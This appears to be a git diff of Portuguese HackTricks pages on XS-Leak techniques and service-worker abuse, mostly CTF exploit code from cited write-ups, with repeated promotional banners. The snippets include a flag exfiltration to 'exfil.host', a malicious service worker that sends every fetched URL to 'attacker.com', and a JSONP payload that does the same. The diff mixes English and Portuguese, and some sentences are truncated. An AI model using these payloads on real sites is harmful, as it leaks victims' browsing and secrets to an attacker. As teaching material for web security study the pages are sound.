O seguinte **script** retirado de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) está explorando uma funcionalidade que permite ao usuário **inserir qualquer quantidade de cookies**, e então carregar um arquivo como um script sabendo que a verdadeira resposta será maior do que a falsa e então. Se bem-sucedido, a resposta é um redirecionamento com uma URL resultante maior, **muito grande para ser processada pelo servidor, então retorna um código de status http de erro**. Se a busca falhar, nada acontecerá porque a URL é curta.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver a **sua empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Execução de JavaScript XS Leak
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + Forçar tarefa pesada
# performance.now + Force heavy task
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Exploit retirado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Portanto, enviando uma grande quantidade de caracteres, o atacante poderia verificar se a flag estava contida na string enviada ou não.
Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Assim, ao colocar uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.
{% hint style="warning" %}
Inicialmente, não defini a largura e altura do objeto, mas mais tarde descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.
Inicialmente, eu não defini a largura e altura do objeto, mas depois descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Exemplo de performance.now
# performance.now exemplo
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Exemplo retirado de [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Comprimento Máximo de URL - Lado do Cliente
# URL Max Length - Client Side
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
Código de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Explorando os Service Workers
# Abusing Service Workers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,34 +23,33 @@
***
## Informações Básicas
## Basic Information
Um **service worker** é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de **processamento offline e em segundo plano**. Informações detalhadas sobre service workers podem ser encontradas [aqui](https://developers.google.com/web/fundamentals/primers/service-workers). Ao explorar service workers em um domínio da web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.
Um **service worker** é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de **processamento offline e em segundo plano**. Informações detalhadas sobre service workers podem ser encontradas [aqui](https://developers.google.com/web/fundamentals/primers/service-workers). Ao explorar service workers dentro de um domínio web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.
### Checking for Existing Service Workers
### Verificando a Existência de Service Workers
Os service workers existentes podem ser verificados na seção **Service Workers** da aba **Application** nas **Developer Tools**. Outro método é visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para uma visão mais detalhada.
Service workers existentes podem ser verificados na seção **Service Workers** da guia **Application** nas **Ferramentas do Desenvolvedor**. Outro método é visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para uma visualização mais detalhada.
### Push Notifications
### Notificações Push
As **permissões de notificação push** impactam diretamente a capacidade de um **service worker** de se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, isso limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.
As **permissões de notificação push** impactam diretamente a capacidade de um **service worker** se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.
## Ataque Criando um Service Worker
## Attack Creating a Service Worker
Para explorar essa vulnerabilidade, você precisa encontrar:
* Uma maneira de **enviar arquivos JS arbitrários** para o servidor e um **XSS para carregar o service worker** do arquivo JS enviado
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
* Uma maneira de **carregar arquivos JS arbitrários** no servidor e um **XSS para carregar o service worker** do arquivo JS carregado
* Um **pedido JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor do atacante cada URL acessado** (este é o código que você precisaria **enviar** para o **servidor** ou carregar via uma resposta **JSONP vulnerável**):
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá escutar o evento `fetch` e **enviar para o servidor dos atacantes cada URL buscada** (este é o código que você precisaria **carregar** no **servidor** ou carregar via uma **resposta JSONP vulnerável**):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
E este é o código que irá **registrar o worker** (o código que você deveria ser capaz de executar abusando de um **XSS**). Neste caso, uma requisição **GET** será enviada para o servidor dos **atacantes** **notificando** se o **registro** do service worker foi bem-sucedido ou não:
E este é o código que irá **registrar o trabalhador** (o código que você deve ser capaz de executar abusando de um **XSS**). Neste caso, uma solicitação **GET** será enviada para o servidor dos **atacantes** **notificando** se o **registro** do trabalhador de serviço foi bem-sucedido ou não:
```javascript
<script>
window.addEventListener('load', function() {
@ -67,19 +67,19 @@ xhttp2.send();
});
</script>
```
No caso de abusar de um ponto final JSONP vulnerável, você deve colocar o valor dentro de `var sw`. Por exemplo:
Em caso de abusar de um endpoint JSONP vulnerável, você deve colocar o valor dentro de `var sw`. Por exemplo:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Existe um **C2** dedicado à **exploração de Service Workers** chamado [**Shadow Workers**](https://shadow-workers.github.io) que será muito útil para abusar dessas vulnerabilidades.
um **C2** dedicado à **exploração de Service Workers** chamado [**Shadow Workers**](https://shadow-workers.github.io) que será muito útil para abusar dessas vulnerabilidades.
